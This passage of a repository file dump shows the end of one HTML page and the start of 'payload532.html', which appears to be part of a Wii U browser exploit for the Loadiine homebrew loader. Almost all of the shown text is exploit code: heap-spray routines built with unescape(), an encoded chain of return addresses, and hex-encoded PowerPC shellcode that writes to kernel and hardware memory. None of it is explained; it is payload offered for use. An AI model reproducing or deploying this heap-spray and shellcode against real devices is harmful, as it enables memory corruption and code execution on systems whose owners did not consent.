unescape(\"%u0000%u7880%u0000%u7884%u0000%u7888%u0000%u788c%u0000%u7890%u0000%u7894%u0000%u7898%u0000%u789c%u0000%u78a0%u0000%u78a4%u0000%u78a8%u0000%u78ac%u0000%u78b0%u0000%u78b4%u0000%u78b8%u0000%u78bc\");\n    str    += unescape(\"%u0000%u78c0%u0000%u78c4%u0000%u78c8%u0000%u78cc%u0000%u78d0%u0000%u78d4%u0000%u78d8%u0000%u78dc%u0000%u78e0%u0000%u78e4%u0000%u78e8%u0000%u78ec%u0000%u78f0%u0000%u78f4%u0000%u78f8%u0000%u78fc\");\n    str    += unescape(\"%u0000%u7900%u0000%u7904%u0000%u7908%u0000%u790c%u0000%u7910%u0000%u7914%u0000%u7918%u0000%u791c%u0000%u7920%u0000%u7924%u0000%u7928%u0000%u792c%u0000%u7930%u0000%u7934%u0000%u7938%u0000%u793c\");\n    str    += unescape(\"%u0000%u7940%u0000%u7944%u0000%u7948%u0000%u794c%u0000%u7950%u0000%u7954%u0000%u7958%u0000%u795c%u0000%u7960%u0000%u7964%u0000%u7968%u0000%u796c%u0000%u7970%u0000%u7974%u0000%u7978%u0000%u797c\");\n    str    += unescape(\"%u0000%u7980%u0000%u7984%u0000%u7988%u0000%u798c%u0000%u7990%u0000%u7994%u0000%u7998%u0000%u799c%u0000%u79a0%u0000%u79a4%u0000%u79a8%u0000%u79ac%u0000%u79b0%u0000%u79b4%u0000%u79b8%u0000%u79bc\");\n    str    += unescape(\"%u0000%u79c0%u0000%u79c4%u0000%u79c8%u0000%u79cc%u0000%u79d0%u0000%u79d4%u0000%u79d8%u0000%u79dc%u0000%u79e0%u0000%u79e4%u0000%u79e8%u0000%u79ec%u0000%u79f0%u0000%u79f4%u0000%u79f8%u0000%u79fc\");\n    str    += unescape(\"%u0000%u7a00%u0000%u7a04%u0000%u7a08%u0000%u7a0c%u0000%u7a10%u0000%u7a14%u0000%u7a18%u0000%u7a1c%u0000%u7a20%u0000%u7a24%u0000%u7a28%u0000%u7a2c%u0000%u7a30%u0000%u7a34%u0000%u7a38%u0000%u7a3c\");\n    str    += unescape(\"%u0000%u7a40%u0000%u7a44%u0000%u7a48%u0000%u7a4c%u0000%u7a50%u0000%u7a54%u0000%u7a58%u0000%u7a5c%u0000%u7a60%u0000%u7a64%u0000%u7a68%u0000%u7a6c%u0000%u7a70%u0000%u7a74%u0000%u7a78%u0000%u7a7c\");\n    str    += unescape(\"%u0000%u7a80%u0000%u7a84%u0000%u7a88%u0000%u7a8c%u0000%u7a90%u0000%u7a94%u0000%u7a98%u0000%u7a9c%u0000%u7aa0%u0000%u7aa4%u0000%u7aa8%u0000%u7aac%u0000%u7ab0%u0000%u7ab4%u0000%u7ab8%u0000%u7abc\");\n    str    += unescape(\"%u0000%u7ac0%u0000%u7ac4%u0000%u7ac8%u0000%u7acc%u0000%u7ad0%u0000%u7ad4%u0000%u7ad8%u0000%u7adc%u0000%u7ae0%u0000%u7ae4%u0000%u7ae8%u0000%u7aec%u0000%u7af0%u0000%u7af4%u0000%u7af8%u0000%u7afc\");\n    str    += unescape(\"%u0000%u7b00%u0000%u7b04%u0000%u7b08%u0000%u7b0c%u0000%u7b10%u0000%u7b14%u0000%u7b18%u0000%u7b1c%u0000%u7b20%u0000%u7b24%u0000%u7b28%u0000%u7b2c%u0000%u7b30%u0000%u7b34%u0000%u7b38%u0000%u7b3c\");\n    str    += unescape(\"%u0000%u7b40%u0000%u7b44%u0000%u7b48%u0000%u7b4c%u0000%u7b50%u0000%u7b54%u0000%u7b58%u0000%u7b5c%u0000%u7b60%u0000%u7b64%u0000%u7b68%u0000%u7b6c%u0000%u7b70%u0000%u7b74%u0000%u7b78%u0000%u7b7c\");\n    str    += unescape(\"%u0000%u7b80%u0000%u7b84%u0000%u7b88%u0000%u7b8c%u0000%u7b90%u0000%u7b94%u0000%u7b98%u0000%u7b9c%u0000%u7ba0%u0000%u7ba4%u0000%u7ba8%u0000%u7bac%u0000%u7bb0%u0000%u7bb4%u0000%u7bb8%u0000%u7bbc\");\n    str    += unescape(\"%u0000%u7bc0%u0000%u7bc4%u0000%u7bc8%u0000%u7bcc%u0000%u7bd0%u0000%u7bd4%u0000%u7bd8%u0000%u7bdc%u0000%u7be0%u0000%u7be4%u0000%u7be8%u0000%u7bec%u0000%u7bf0%u0000%u7bf4%u0000%u7bf8%u0000%u7bfc\");\n    str    += unescape(\"%u0000%u7c00%u0000%u7c04%u0000%u7c08%u0000%u7c0c%u0000%u7c10%u0000%u7c14%u0000%u7c18%u0000%u7c1c%u0000%u7c20%u0000%u7c24%u0000%u7c28%u0000%u7c2c%u0000%u7c30%u0000%u7c34%u0000%u7c38%u0000%u7c3c\");\n    str    += unescape(\"%u0000%u7c40%u0000%u7c44%u0000%u7c48%u0000%u7c4c%u0000%u7c50%u0000%u7c54%u0000%u7c58%u0000%u7c5c%u0000%u7c60%u0000%u7c64%u0000%u7c68%u0000%u7c6c%u0000%u7c70%u0000%u7c74%u0000%u7c78%u0000%u7c7c\");\n    str    += unescape(\"%u0000%u7c80%u0000%u7c84%u0000%u7c88%u0000%u7c8c%u0000%u7c90%u0000%u7c94%u0000%u7c98%u0000%u7c9c%u0000%u7ca0%u0000%u7ca4%u0000%u7ca8%u0000%u7cac%u0000%u7cb0%u0000%u7cb4%u0000%u7cb8%u0000%u7cbc\");\n    str    += unescape(\"%u0000%u7cc0%u0000%u7cc4%u0000%u7cc8%u0000%u7ccc%u0000%u7cd0%u0000%u7cd4%u0000%u7cd8%u0000%u7cdc%u0000%u7ce0%u0000%u7ce4%u0000%u7ce8%u0000%u7cec%u0000%u7cf0%u0000%u7cf4%u0000%u7cf8%u0000%u7cfc\");\n    str    += unescape(\"%u0000%u7d00%u0000%u7d04%u0000%u7d08%u0000%u7d0c%u0000%u7d10%u0000%u7d14%u0000%u7d18%u0000%u7d1c%u0000%u7d20%u0000%u7d24%u0000%u7d28%u0000%u7d2c%u0000%u7d30%u0000%u7d34%u0000%u7d38%u0000%u7d3c\");\n    str    += unescape(\"%u0000%u7d40%u0000%u7d44%u0000%u7d48%u0000%u7d4c%u0000%u7d50%u0000%u7d54%u0000%u7d58%u0000%u7d5c%u0000%u7d60%u0000%u7d64%u0000%u7d68%u0000%u7d6c%u0000%u7d70%u0000%u7d74%u0000%u7d78%u0000%u7d7c\");\n    str    += unescape(\"%u0000%u7d80%u0000%u7d84%u0000%u7d88%u0000%u7d8c%u0000%u7d90%u0000%u7d94%u0000%u7d98%u0000%u7d9c%u0000%u7da0%u0000%u7da4%u0000%u7da8%u0000%u7dac%u0000%u7db0%u0000%u7db4%u0000%u7db8%u0000%u7dbc\");\n    str    += unescape(\"%u0000%u7dc0%u0000%u7dc4%u0000%u7dc8%u0000%u7dcc%u0000%u7dd0%u0000%u7dd4%u0000%u7dd8%u0000%u7ddc%u0000%u7de0%u0000%u7de4%u0000%u7de8%u0000%u7dec%u0000%u7df0%u0000%u7df4%u0000%u7df8%u0000%u7dfc\");\n    str    += unescape(\"%u0000%u7e00%u0000%u7e04%u0000%u7e08%u0000%u7e0c%u0000%u7e10%u0000%u7e14%u0000%u7e18%u0000%u7e1c%u0000%u7e20%u0000%u7e24%u0000%u7e28%u0000%u7e2c%u0000%u7e30%u0000%u7e34%u0000%u7e38%u0000%u7e3c\");\n    str    += unescape(\"%u0000%u7e40%u0000%u7e44%u0000%u7e48%u0000%u7e4c%u0000%u7e50%u0000%u7e54%u0000%u7e58%u0000%u7e5c%u0000%u7e60%u0000%u7e64%u0000%u7e68%u0000%u7e6c%u0000%u7e70%u0000%u7e74%u0000%u7e78%u0000%u7e7c\");\n    str    += unescape(\"%u0000%u7e80%u0000%u7e84%u0000%u7e88%u0000%u7e8c%u0000%u7e90%u0000%u7e94%u0000%u7e98%u0000%u7e9c%u0000%u7ea0%u0000%u7ea4%u0000%u7ea8%u0000%u7eac%u0000%u7eb0%u0000%u7eb4%u0000%u7eb8%u0000%u7ebc\");\n    str    += unescape(\"%u0000%u7ec0%u0000%u7ec4%u0000%u7ec8%u0000%u7ecc%u0000%u7ed0%u0000%u7ed4%u0000%u7ed8%u0000%u7edc%u0000%u7ee0%u0000%u7ee4%u0000%u7ee8%u0000%u7eec%u0000%u7ef0%u0000%u7ef4%u0000%u7ef8%u0000%u7efc\");\n    str    += unescape(\"%u0000%u7f00%u0000%u7f04%u0000%u7f08%u0000%u7f0c%u0000%u7f10%u0000%u7f14%u0000%u7f18%u0000%u7f1c%u0000%u7f20%u0000%u7f24%u0000%u7f28%u0000%u7f2c%u0000%u7f30%u0000%u7f34%u0000%u7f38%u0000%u7f3c\");\n    str    += unescape(\"%u0000%u7f40%u0000%u7f44%u0000%u7f48%u0000%u7f4c%u0000%u7f50%u0000%u7f54%u0000%u7f58%u0000%u7f5c%u0000%u7f60%u0000%u7f64%u0000%u7f68%u0000%u7f6c%u0000%u7f70%u0000%u7f74%u0000%u7f78%u0000%u7f7c\");\n    str    += unescape(\"%u0000%u7f80%u0000%u7f84%u0000%u7f88%u0000%u7f8c%u0000%u7f90%u0000%u7f94%u0000%u7f98%u0000%u7f9c%u0000%u7fa0%u0000%u7fa4%u0000%u7fa8%u0000%u7fac%u0000%u7fb0%u0000%u7fb4%u0000%u7fb8%u0000%u7fbc\");\n    str    += unescape(\"%u0000%u7fc0%u0000%u7fc4%u0000%u7fc8%u0000%u7fcc%u0000%u7fd0%u0000%u7fd4%u0000%u7fd8%u0000%u7fdc%u0000%u7fe0%u0000%u7fe4%u0000%u7fe8%u0000%u7fec%u0000%u7ff0%u0000%u7ff4%u0000%u7ff8%u0000%u7ffc\");\n\n                var h1 = [];\n                h1[0] = str.substring(0, str.length);\n                \n                for (i = 1; i <= n; i++)\n                    h1[i] = unescape(h1[0]);\n                    \n                return h1;\n            }            \n\n            function dsm(evnt) {\n                // spray\n                var mem = [];\n                for (var j = 20; j < 2048; j++) sprayOne(mem, j, 0x1dd7b814);\n            }\n            var pointer = sprayInc(25000);\n            var code = sprayCode(300);\n        </script>\n    </head>\n    <body>\n        <iframe src=\"frame.html\"></iframe>\n    </body>\n</html>\n"
  },
  {
    "path": "www/loadiine_gx2/payload532.html",
    "content": "<script>\n// Alloc primitive.\nfunction pow2str(p, b) {\n  var str = String.fromCharCode(b);\n  for (; p; p--){\n    str += str;\n  }\n  return str;\n}\n\nfunction alloc(n, b) {\n  var res = '';\n  for(var i = 0; i < 32; i++){\n    if(n & 0x1)\n      res += pow2str(i, b);\n    n >>= 1;\n  }\n  //flatten\n  res[0];\n  return res;\n}\n\nfunction sprayInc(n) {            \n    var str = unescape(\"%u0102%u4dd8%u0000%u0004%u1b20%u18b4%u0104%u21ec%u1b20%u1850%u0103%ucdd4%u0000%u0018%u1b20%u1b2c%u0000%u0020%u0103%ucd8c%u0000%u0028%u1003%uaaac%u0000%u0030%u0102%u4dd8%u0d8f%u502c%u0104%u1614\");\n    str    += unescape(\"%u1b20%u1850%u0103%ucd8c%u0000%u0048%u1003%uaab0%u0000%u0050%u0102%u4dd8%u1b20%u1b20%u0000%u005c%u0000%u0060%u0103%ucd8c%u0000%u0068%u0000%u006c%u0000%u0070%u0102%u4dd8%u0000%u0001%u0000%u007c\");\n    str    += unescape(\"%u0000%u0080%u0104%u1174%u0000%u0088%u0000%u008c%u0000%u0090%u1b20%u1820%u0000%u0098%u0101%ucd44%u0102%u4dd8%u0000%u00a4%u0000%u0000%u0103%u70c0%u0000%u0000%u0103%ucdd4%u0000%u00b8%u1b20%u18c0\");\n    str    += unescape(\"%u0000%u00c0%u0101%ucd44%u0000%u00c8%u1b20%u1908%u0000%u00d0%u0102%u4d8c%u0180%u0000%u1b20%u1b80%u0000%u0200%u0000%u00e4%u0101%ucd44%u1b20%u190c%u0000%u00f0%u0103%u5a6c%u0000%u0000%u1b20%u1934\");\n    str    += unescape(\"%u0000%u0100%u0102%u4d8c%u0180%u0000%u0000%u0200%u0000%u0110%u0000%u0114%u0101%ucd44%u1b20%u193c%u0102%u3ee8%u0000%u0000%u0000%u0128%u1b20%u1964%u0000%u0130%u0102%u4d8c%u0180%u0000%u0000%u0200\");\n    str    += unescape(\"%u0000%u0140%u0000%u0144%u0101%ucd44%u1b20%u196c%u0102%u4010%u0000%u0000%u0000%u0158%u1b20%u18c0%u0000%u0160%u0102%u4dd8%u0000%u0001%u0000%u016c%u0000%u0170%u0101%ucd44%u0000%u0178%u0000%u017c\");\n    str    += unescape(\"%u0000%u0180%u0180%u0000%u0000%u0188%u0000%u018c%u0000%u4000%u0000%u7ffc%u0000%u0198%u0000%u019c%u0000%u01a0%u0000%u01a4%u0000%u01a8%u0000%u01ac%u0000%u01b0%u0000%u01b4%u0000%u01b8%u0000%u01bc\");\n    str    += unescape(\"%u0000%u01c0%u0000%u01c4%u0000%u01c8%u0000%u01cc%u0000%u01d0%u0000%u01d4%u0000%u01d8%u0000%u01dc%u0000%u01e0%u0000%u01e4%u0000%u01e8%u0000%u01ec%u0000%u01f0%u0000%u01f4%u0000%u01f8%u0000%u01fc\");\n    str    += unescape(\"%u0000%u0200%u0000%u0204%u0000%u0208%u0000%u020c%u0000%u0210%u0000%u0214%u0000%u0218%u0000%u021c%u0000%u0220%u0000%u0224%u0000%u0228%u0000%u022c%u0000%u0230%u0000%u0234%u0000%u0238%u0000%u023c\");\n    str    += unescape(\"%u0000%u0240%u0000%u0244%u0000%u0248%u0000%u024c%u0000%u0250%u0000%u0254%u0000%u0258%u0000%u025c%u0000%u0260%u0000%u0264%u0000%u0268%u0000%u026c%u0000%u0270%u0000%u0274%u0000%u0278%u0000%u027c\");\n    str    += unescape(\"%u0000%u0280%u0000%u0284%u0000%u0288%u0000%u028c%u0000%u0290%u0000%u0294%u0000%u0298%u0000%u029c%u0000%u02a0%u0000%u02a4%u0000%u02a8%u0000%u02ac%u0000%u02b0%u0000%u02b4%u0000%u02b8%u0000%u02bc\");\n    str    += unescape(\"%u0000%u02c0%u0000%u02c4%u0000%u02c8%u0000%u02cc%u0000%u02d0%u0000%u02d4%u0000%u02d8%u0000%u02dc%u0000%u02e0%u0000%u02e4%u0000%u02e8%u0000%u02ec%u0000%u02f0%u0000%u02f4%u0000%u02f8%u0000%u02fc\");\n    str    += unescape(\"%u0000%u0300%u0000%u0304%u0000%u0308%u0000%u0000%u1b20%u1b28%u0104%u3528%u1b20%u1814%u1b20%u1ad8%u0101%ucd50%u0000%u0324%u0000%u0328%u0000%u032c%u0000%u0330%u0000%u0334%u0000%u0338%u0000%u033c\");\n    str    += unescape(\"%u0000%u0340%u0000%u0344%u0000%u0348%u0000%u034c%u0000%u0350%u0000%u0354%u0000%u0358%u0000%u035c%u0000%u0360%u0000%u0364%u1b20%u1b28%u9421%ue000%u7c3f%u0b78%u3d20%u1003%u6129%uaaac%u913f%u000c\");\n    str    += unescape(\"%u813f%u000c%u3929%u0004%u3940%u0000%u9149%u0000%u8149%u0000%u813f%u000c%u9149%u0000%u3d20%u1b20%u6129%u1814%u913f%u0010%u3d20%u0103%u6129%u5a6c%u807f%u0010%u3d40%u1b20%u6144%u2814%u38a0%u05c0\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u3d20%u1b20%u6129%u1814%u913f%u0008%u4800%u006c%u813f%u0008%u8149%u0000%u3d20%ucafe%u6129%ucafe%u7f8a%u4800%u409e%u0048%u813f%u0008%u3929%u4000%u8149%u0000%u813f%u0010\");\n    str    += unescape(\"%u3929%u0190%u8129%u0000%u7f8a%u4840%u409e%u0028%u813f%u0008%u3929%u7ffc%u8149%u0000%u813f%u0010%u3929%u0194%u8129%u0000%u7f8a%u4840%u409e%u0008%u4800%u0024%u813f%u0008%u3929%u0004%u913f%u0008\");\n    str    += unescape(\"%u815f%u0008%u3d20%u1fff%u6129%uffff%u7f8a%u4840%u409d%uff88%u815f%u0008%u3d20%u2000%u7f8a%u4800%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u018c%u7d29%u03a6%u4e80%u0421%u813f%u0010\");\n    str    += unescape(\"%u3929%u0318%u815f%u0010%u394a%u00a0%u9149%u0000%u813f%u0010%u3929%u00dc%u815f%u0008%u394a%u0004%u9149%u0000%u813f%u0010%u3929%u00e0%u3940%u0000%u614a%u8000%u9149%u0000%u3d20%u0d8f%u6129%u502c\");\n    str    += unescape(\"%u3d40%u1b20%u6143%u1b20%u7d29%u03a6%u4e80%u0421%u397f%u0020%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u436f%u6465%u206e%u6f74%u2066%u6f75%u6e64%u0020%u436f%u6465%u206e%u6f74\");\n    str    += unescape(\"%u2066%u6f75%u6e64%u0000%u0000%u0508%u0000%u050c%u0000%u0510%u0000%u0514%u0000%u0518%u0000%u051c%u0000%u0520%u0000%u0524%u0000%u0528%u0000%u052c%u0000%u0530%u0000%u0534%u0000%u0538%u0000%u053c\");\n    str    += unescape(\"%u0000%u0540%u0000%u0544%u0000%u0548%u0000%u054c%u0000%u0550%u0000%u0554%u0000%u0558%u0000%u055c%u0000%u0560%u0000%u0564%u0000%u0568%u0000%u056c%u0000%u0570%u0000%u0574%u0000%u0578%u0000%u057c\");\n    str    += unescape(\"%u0000%u0580%u0000%u0584%u0000%u0588%u0000%u058c%u0000%u0590%u0000%u0594%u0000%u0598%u0000%u059c%u0000%u05a0%u0000%u05a4%u0000%u05a8%u0000%u05ac%u0000%u05b0%u0000%u05b4%u0000%u05b8%u0000%u05bc\");\n\n    var h1 = [];\n    h1[0] = str.substring(0, str.length);\n\n    for (i = 1; i <= n; i++)\n\th1[i] = unescape(h1[0]);\n\n    return h1;\n}\n\nfunction sprayCode(n) {              \n    var str = unescape(\"%ucafe%ucafe%u3c20%u1ab5%u6021%ud138%u4800%u1409%u3800%u2500%u4400%u0002%u4e80%u0020%u7c08%u02a6%u9421%ufff0%u93c1%u0004%u93e1%u0008%u7c05%u0378%u7c26%u0b78%u3800%u3600%u4400%u0002%u6000%u0000\");\n    str    += unescape(\"%u7ca0%u2b78%u7cc1%u3378%u83c1%u0004%u83e1%u0008%u3821%u0010%u7c08%u03a6%u4e80%u0020%u7fd8%u82a6%u7ff9%u82a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff0%u6063%u0002%u7c78%u83a6%u3c60%ufff0%u6063%u0032\");\n    str    += unescape(\"%u7c79%u83a6%u7c00%u06ac%u4c00%u012c%u3c60%ufff1%u6063%ud638%u3c80%u3ce0%u6084%u3080%u9083%u0000%u3c80%u60e7%u6084%u0012%u9083%u0004%u3c80%u7cf1%u6084%u8ba6%u9083%u0008%u3c80%u3ce0%u6084%u0080\");\n    str    += unescape(\"%u9083%u000c%u3c80%u60e7%u6084%u00ff%u9083%u0010%u3c80%u7cf0%u6084%u8ba6%u9083%u0014%u3c80%u7c00%u6084%u06ac%u9083%u0018%u3c80%u4c00%u6084%u012c%u9083%u001c%u3c80%u7ce8%u6084%u02a6%u9083%u0020\");\n    str    += unescape(\"%u3c80%u4880%u6084%u0003%u9083%u0024%u3c60%ufff1%u6063%ud620%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud640%u7c00%u18ac%u7c00%u1fac%u7c00%u04ac%u3c60%u3080%u6063%u0012%u7c71%u8ba6%u3c60%u0080\");\n    str    += unescape(\"%u6063%u00ff%u7c70%u8ba6%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%ufff0%u6063%u6a14%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u6aa0%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0\");\n    str    += unescape(\"%u6063%u03c8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u03cc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud720%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud73c\");\n    str    += unescape(\"%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud840%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u3c60%uffee%u6063%u0002%u7c78%u83a6%u3c60%uffee%u6063%u0032%u7c79%u83a6\");\n    str    += unescape(\"%u7c00%u06ac%u4c00%u012c%u3c80%u6000%u3c60%uffee%u6063%u10b8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%uffee%u6063%u10bc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u7fd8%u83a6\");\n    str    += unescape(\"%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c%u4c00%u0064%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%ub790%u93e1%u001c%u9001%u0024%u7c9f%u2378%u38a5%u1c6c%u3880%u0000%u38c1%u0008%u7d29%u03a6\");\n    str    += unescape(\"%u4e80%u0421%u2f9f%u0000%u419e%u0018%u8121%u0008%u3bff%uffff%u7d29%u03a6%u4e80%u0421%u4bff%uffe8%u3961%u0020%u4800%u191c%u9421%uffc8%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfa1%u002c%u3fc0%u0102\");\n    str    += unescape(\"%u63de%ub790%u9001%u003c%u7fc9%u03a6%u38a5%u1c7a%u38c1%u001c%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u1c81%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6\");\n    str    += unescape(\"%u7fe3%ufb78%u3880%u0000%u38a5%u1c93%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u1ca2%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000\");\n    str    += unescape(\"%u38a5%u1cb4%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u1cbd%u3880%u0000%u7fc9%u03a6%u7fe3%ufb78%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7d%u1b78%u3880%u0040\");\n    str    += unescape(\"%u7d29%u03a6%u3860%u0100%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7e%u1b78%u4e80%u0421%u8121%u0010%u7fc4%uf378%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fa3%ueb78\");\n    str    += unescape(\"%u4e80%u0421%u8121%u000c%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u3c80%u0003%u7fe3%ufb78%u6084%uffff%u4bff%ufe61%u3961%u0038%u4800%u17c0%u9421%uffd8\");\n    str    += unescape(\"%u7c08%u02a6%u3d20%u0102%ubfa1%u001c%u6129%ub790%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u1cc5%u38c1%u0008%u4e80%u0421%u8121%u0008%u7fa4%ueb78\");\n    str    += unescape(\"%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1744%u9421%uffd8%u7c08%u02a6\");\n    str    += unescape(\"%u3d20%u0102%ubf81%u0018%u6129%ub790%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u1cd7%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78%u579c%u402e%u57bd%u801e%u7f9f%ufb78\");\n    str    += unescape(\"%u57de%uc00e%u7fff%ueb78%u4e80%u0421%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u16b8\");\n    str    += unescape(\"%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%ub790%u9001%u0024%u7fe9%u03a6%u38a5%u1ced%u38c1%u0010%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378\");\n    str    += unescape(\"%u3880%u0000%u38a5%u1cfa%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d10%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008\");\n    str    += unescape(\"%u7c7f%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u15e0%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7f%u1b78%u9001%u001c%u7c9d%u2378%u7cbc%u2b78%u3bc0%u0002\");\n    str    += unescape(\"%u38e0%u0000%u7fe3%ufb78%u3880%u0000%u38a0%u0000%u38c0%u0000%u4bff%ufe65%u7fe3%ufb78%u3880%u0000%u7f85%ue378%u7fa6%ueb78%u4bff%ufdd5%u7fe3%ufb78%u4bff%ufed1%u37de%uffff%u40a2%uffc8%u3961%u0018\");\n    str    += unescape(\"%u4800%u1574%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0018%u3fc0%u0102%u63de%ub790%u9001%u0024%u7fc9%u03a6%u38a5%u1d28%u38c1%u0010%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6\");\n    str    += unescape(\"%u7fe3%ufb78%u3880%u0000%u38a5%u1d10%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d35%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010%u7d29%u03a6%u4e80%u0421%u8121%u000c\");\n    str    += unescape(\"%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c9e%uf400%u3860%u0001\");\n    str    += unescape(\"%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd5d%u7fe3%ufb78%u4bff%ufddd%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd3d\");\n    str    += unescape(\"%u7fe3%ufb78%u4bff%ufdbd%u3c80%u0180%u7fe3%ufb78%u3884%u1d49%u38a0%u0000%u4bff%ufe89%u3961%u0020%u4800%u145c%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%ub790%u93e1%u001c%u7d29%u03a6\");\n    str    += unescape(\"%u9001%u0024%u3880%u0000%u38a5%u1d61%u38c1%u0008%u7c7f%u1b78%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufccd%u7fe3%ufb78%u4bff%ufd4d%u3880%u0000%u38a0%u0000\");\n    str    += unescape(\"%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcad%u7fe3%ufb78%u4bff%ufd2d%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u13d8%u9421%uffd8%u7c08%u02a6%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102\");\n    str    += unescape(\"%u63ff%ub790%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u1c81%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d67%u38c1%u0010%u4e80%u0421\");\n    str    += unescape(\"%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u1d76%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u1d85%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u4e80%u0421%u8121%u0014%u3880%u0020\");\n    str    += unescape(\"%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6%u38a0%u0000%u38c0%u0000%u38fe%u0300\");\n    str    += unescape(\"%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000\");\n    str    += unescape(\"%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u1298%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c%u7d03%u48ae%u7d44%u48ae%u7f88%u5000\");\n    str    += 